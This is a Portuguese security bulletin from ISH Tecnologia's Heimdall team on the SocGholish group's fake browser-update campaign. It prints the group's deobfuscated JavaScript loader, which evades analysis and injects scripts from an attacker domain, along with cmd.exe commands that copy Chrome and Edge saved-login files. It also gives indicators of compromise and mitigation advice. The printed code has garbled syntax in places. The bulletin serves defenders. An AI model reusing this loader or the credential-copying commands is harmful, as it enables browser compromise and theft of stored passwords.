



# BOLETIM DE SEGURANÇA

**Grupo SocGholish realiza ataques em empresas com atualizações fraudulentas de navegadores**



Receba alertas e informações sobre segurança cibernética e ameaças rapidamente, por meio do nosso **X**.

### [Heimdall Security Research](#)



Acesse boletins diários sobre agentes de ameaças, *malwares*, indicadores de comprometimentos, TTPs e outras informações no *site* da ISH.

### [Boletins de Segurança – Heimdall](#)



ISH

#### CONTAS DO FACEBOOK SÃO INVADIDAS POR EXTENSÕES MALICIOSAS DE NAVEGADORES

Descoberto recentemente que atores maliciosos utilizam extensões de navegadores para realizar o roubo de cookies de sessões de sites como o Facebook. A extensão maliciosa é oferecida como um anexo do ChatGPT...

BAIXAR



ISH

#### ALERTA PARA RETORNO DO MALWARE EMOTET!

O malware Emotet após permanecer alguns meses sem operações retornou com outro meio de propagação, via OneNote e também dos métodos já conhecidos via Planilhas e Documentos do Microsoft Office...

BAIXAR



ISH

#### GRUPO DE RANSOMWARE CLOP EXPLORANDO VULNERABILIDADE PARA NOVAS VÍTIMAS

O grupo de Ransomware conhecido como CLOP está explorando ativamente a vulnerabilidade conhecida como CVE-2023-0669, na qual realizou o ataque a diversas organizações e expôs os dados no site de data leaks...

BAIXAR

## SUMÁRIO

1	Sumário Executivo .....	6
2	Informações sobre a ameaça .....	7
3	Recomendações.....	10
4	Indicadores de Compromissos .....	11
5	Referências .....	12
6	Autores.....	13

## LISTA DE TABELAS

Tabela 1 – Indicadores de Compromissos de Rede..... 11

## LISTA DE FIGURAS

<i>Figura 1 – Código JavaScript injetado. ....</i>	<i>7</i>
<i>Figura 2 – Trecho do JavaScript ofuscado. ....</i>	<i>7</i>
<i>Figura 3 – Script desofuscado. ....</i>	<i>8</i>
<i>Figura 4 – Scripts fornecidos. ....</i>	<i>9</i>
<i>Figura 5 – Extração de credenciais. ....</i>	<i>9</i>
<i>Figura 6 – Comando usado para cópia de arquivos de credenciais. ....</i>	<i>9</i>

## 1 SUMÁRIO EXECUTIVO

---

Em abril de 2024, a equipe da eSentire, detectou o comportamento do grupo SocGholish em uma cadeia de ações maliciosas que remontavam a uma infecção originada por uma suposta atualização de navegador. O código malicioso, escrito em JavaScript camuflado, tinha como objetivo passar despercebido e consolidar sua presença no sistema infectado.



Abaixo, mostra o trecho do script desofuscado:

```
1 (function () {
2   var _0x56b9ec = window,
3       _0x182e7d = _0x56b9ec.document.cookie,
4       _0x124b3c = "adViewEnabled"
5   if (_0x56b9ec.localStorage[_0x56b9ec.location.hostname]) {}
6   return
7   if (_0x56b9ec.navigator.webdriver) {
8     _0x4d8183(
9       "https://ghost.blueecho88.com/XnkkY5vbaQg6MzBTaU8mQy8NbxF8QygrL8xpCTsAYT40CIUHL8ZkFTSLeA4sMyZD0wT4D1xbMFByW3hDZFTvBy4JbEMJ"
10    )
11    return
12  }
13  if {
14    _0x56b9ec.outerHeight - _0x56b9ec.innerHeight > 200 ||
15    _0x56b9ec.outerWidth - _0x56b9ec.innerWidth > 330
16  } {
17  }
18  _0x4d8183(
19    "https://ghost.blueecho88.com/USUwUyI3zTI3t5RpZK6ce5DhytXr4wrIFDMMz2bxQ055vE9IFrALzbn3DQht435NufcNG3IG1/t9x5abFKNz3x0dA1/cw3MeXXPDG39u=="
20  )
21  return
22  }
23  if {
24    _0x182e7d.indexOf("wordpress_logged_in") !== -1 ||
25    _0x182e7d.indexOf("wp-settings-") !== -1
26  } {
27  }
28  return
29  if (typeof _0x56b9ec[_0x124b3c] !== 'undefined') {
30  }
31  }
32  _0x56b9ec[_0x124b3c] = true
33  _0x56b9ec.addEventListener("mousemove", _0x3c23d8, true)
34  function _0x3c23d8() {
35    _0x56b9ec.removeEventListener("mousemove", _0x3c23d8, true)
36    _0x4d8183(
37      "https://ghost.blueecho88.com/gc6KZ/rj5Q71478VtVnmRfK17xej+6g76DmHvuk1Q4x46ZFB+OvReumq8o="
38    )
39  }
40  function _0x4d8183(_0x341dc7) {
41    var _0x3cf1c5 = document.createElement("script")
42    _0x3cf1c5.async = true
43    _0x3cf1c5.src = _0x341dc7
44    var _0x29a261 = document.getElementsByTagName("script")[0]
45    _0x29a261.parentNode.insertBefore(_0x3cf1c5, _0x29a261)
46  }
47 })()
```

Figura 3 – Script desofuscado.

O código malicioso inicia sua execução verificando a presença da propriedade “**navigator.webdriver**”, um indicativo de que o navegador pode estar sob influência de ferramentas de automação como o Selenium. Caso positivo, o script ativa o carregamento de um código malicioso de uma URL específica do SocGholish e cessa sua execução, uma tática para esquivar-se de sistemas de detecção automatizados. Prosseguindo, o script avalia alterações na dimensão da janela do navegador, um sinal de que pode estar em um ambiente monitorado. Detectada tal manipulação, outro script é carregado de uma URL distinta.

O script também investiga se o usuário está acessando um site WordPress, por meio da verificação de cookies específicos. Se identificados, o script interrompe qualquer operação subsequente. Caso as verificações anteriores não se confirmem, o script prepara um ouvinte para capturar movimentos do mouse. Ao registrar o primeiro movimento, o ouvinte é desativado e um novo código é carregado de outra URL, uma estratégia para deflagrar o carregamento apenas após a interação do usuário, driblando mecanismos de detecção que focam em atividades suspeitas durante o carregamento da página.

Por fim, a função `_0x4d8183` é empregada para injetar um elemento de script na página, utilizando uma URL fornecida como parâmetro, criando um elemento ‘<script>’ e inserindo-o no documento. Esse método permite a execução de código externo dentro do contexto da página web.

Abaixo estão os exemplos de URLs fornecidos no script:

```
hxxps://ghost.blueecho88[.]com/XnkKYSVbaQg6WzBTaU0mQy0NbxF8QygRLBxpCTsaYT40CIUHLBZkFTsLeA4s  
WyZDOwt4DixbMFBYw3hDZFtvBy4JbEMj  
  
hxxps://ghost.blueecho88[.]com/U5WuWyi3zTI3t5RpZKGCeSDhyt4wrIfDNMzb2xQQ55vE9IfrALzbn3DQht4J  
5NufcNCG3lGl/t9x5abfKNz3wxDAL/cw3NeXXPDG30w==  
  
hxxps://ghost.blueecho88[.]com/gcGKZ/rj6Q7l47BVtvWmRfK17xej+6gG76DmHvuk1QHx46ZF8+OwReumqBo=
```

Figura 4 – Scripts fornecidos.

Os atores conseguiram acessar e extrair as credenciais de login armazenadas nos navegadores Microsoft Edge e Google Chrome. Eles transferiram essas informações para um arquivo temporário, que foi posteriormente utilizado para a exfiltração dos dados. Esse processo foi realizado por meio de comandos específicos executados pelos agentes da ameaça.

```
"C:\Windows\System32\cmd.exe" /C type "C:\Users\nome de usuário\AppData\Local\Google\Chrome\User  
Data\Default>Login Data" >> "C:\Users\nome de usuário\AppData\Local\Temp\2\radC7958.tmp"  
  
"C:\Windows\System32\cmd.exe" /C type "C:\Users\nome de usuário\AppData\Local\Microsoft\Edge\User  
Data\Default>Login Data" >> "C:\Users\nome de usuário\AppData\Local\Temp\2\rad01734.tmp"
```

Figura 5 – Extração de credenciais.

Prosseguindo com a operação de exfiltração, um comando subsequente foi acionado para efetuar a cópia dos arquivos que armazenam as credenciais de acesso dos navegadores Edge e Chrome. Estes foram movidos para o diretório de downloads de um segundo perfil de usuário no equipamento. Eventuais ocorrências ou erros observados durante o processo foram registrados em um arquivo de log temporário. "**username**" identifica o usuário primariamente comprometido, enquanto "**username\_2**" se refere a uma segunda conta de usuário presente no sistema.

```
"C:\Windows\System32\cmd.exe" /C copy "C:\Users\username\AppData\Local\Microsoft\Edge\User  
Data\Default>Login Data" C:\users\username_2\Downloads\0395edg.bin@ "C:\Users\nome de  
usuário\AppData\Local\Google\Chrome\User Data\Default>Login Data"  
C:\users\username_2\Downloads\0396chr.bin >> "C:\Users\nome de usuário\AppData\Local  
\Temp\2\rad5914F.tmp"
```

Figura 6 – Comando usado para cópia de arquivos de credenciais.

### 3 RECOMENDAÇÕES

---

Além dos indicadores de comprometimento elencados abaixo pela ISH, poderão ser adotadas medidas visando a mitigação da infecção do referido *malware*, como por exemplo:

#### **Atualize seu software regularmente**

- Mantenha seu sistema operacional, navegadores e todos os aplicativos críticos atualizados para garantir que você tenha as correções para quaisquer vulnerabilidades de segurança.

#### **Use software antivírus e mantenha-o atualizado**

- Um software antivírus de boa reputação pode detectar e remover ameaças conhecidas. Certifique-se de que seu software antivírus está atualizado com as últimas definições de vírus.

#### **Eduque-se sobre phishing e malvertising**

- Aprenda a reconhecer sinais de phishing e anúncios suspeitos. Não clique em links ou anúncios que pareçam suspeitos ou venham de fontes não verificadas.

#### **Habilite a configuração de segurança mais alta em seu navegador**

- Use configurações que bloqueiem downloads automáticos e solicitem sua permissão antes de executar certos tipos de conteúdo.

#### **Use bloqueadores de anúncios**

- Considere instalar uma extensão de bloqueador de anúncios para reduzir o risco de encontrar malvertising.

#### **Backup regularmente**

- Faça backups regulares dos seus dados importantes para mitigar os danos em caso de uma infecção.

#### **Monitore sua rede**

- Use ferramentas para monitorar o tráfego de rede e identificar atividades suspeitas, o que pode ser um indicador de malware.

#### **Restrição de privilégios de usuário**

- Garanta que as contas usadas diariamente em seus dispositivos não tenham privilégios administrativos, a menos que necessário. Isso pode limitar o impacto de qualquer malware que consiga ser executado.

## 4 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de compromissos coletados por meio de fontes abertas, fechadas e também de análises realizadas pela equipe de segurança Heimdall. Diante disto, abaixo listamos todos os Indicadores de Compromissos (IOCs) relacionadas a análise do(s) artefato(s) deste relatório.

### Indicadores de URL, IPs e Domínios

Indicadores de URL, IPs e Domínios	
<b>U</b>	hxxps://ghost.blueecho88[.]com/8lOe1ouh/b+UoaTkx7ey9IPq+vTKtKnLxLGq+tLxvOzS9vmy
<b>R</b>	g+jzr4Tt/
<b>L</b>	hxxps://ghost.blueecho88[.]com/XnkKYSVbaQg6WzBTaU0mQy0NbxF8QygRLBxpCTsaYT40 CIUHLBZkFTsLeA4sWyZDOWt4DixbMFBYw3hDZFtvBy4JbEMj hxxps://ghost.blueecho88[.]com/U5WuWyi3zTI3t5RpZKGCeSDhytXr4wrlfDNMzb2xQQ55v E9lfrALzbn3DQht4J5NufcNCG3lGI/t9x5abfKNz3wxDA/cw3NeXXPDG30w== hxxps://ghost.blueecho88[.]com/gcGKZ/rj6Q7l47BVtvWmRfK17xej+6gG76DmHvuk1QHx46 ZF8+OwReumqBo=
<b>IP</b>	

Tabela 1 – Indicadores de Compromissos de Rede.

**Obs:** Os *links* e endereços IP elencados acima podem estar ativos; cuidado ao realizar a manipulação dos referidos IoCs, evite realizar o clique e se tornar vítima do conteúdo malicioso hospedado no IoC.

## 5 REFERÊNCIAS

---

- Heimdall by ISH Tecnologia
- [Esentire](#)
- [Gbhackers](#)

## 6 AUTORES

---

- Leonardo Oliveira Silva



**heimdall**  
security research

A DIVISION OF ISH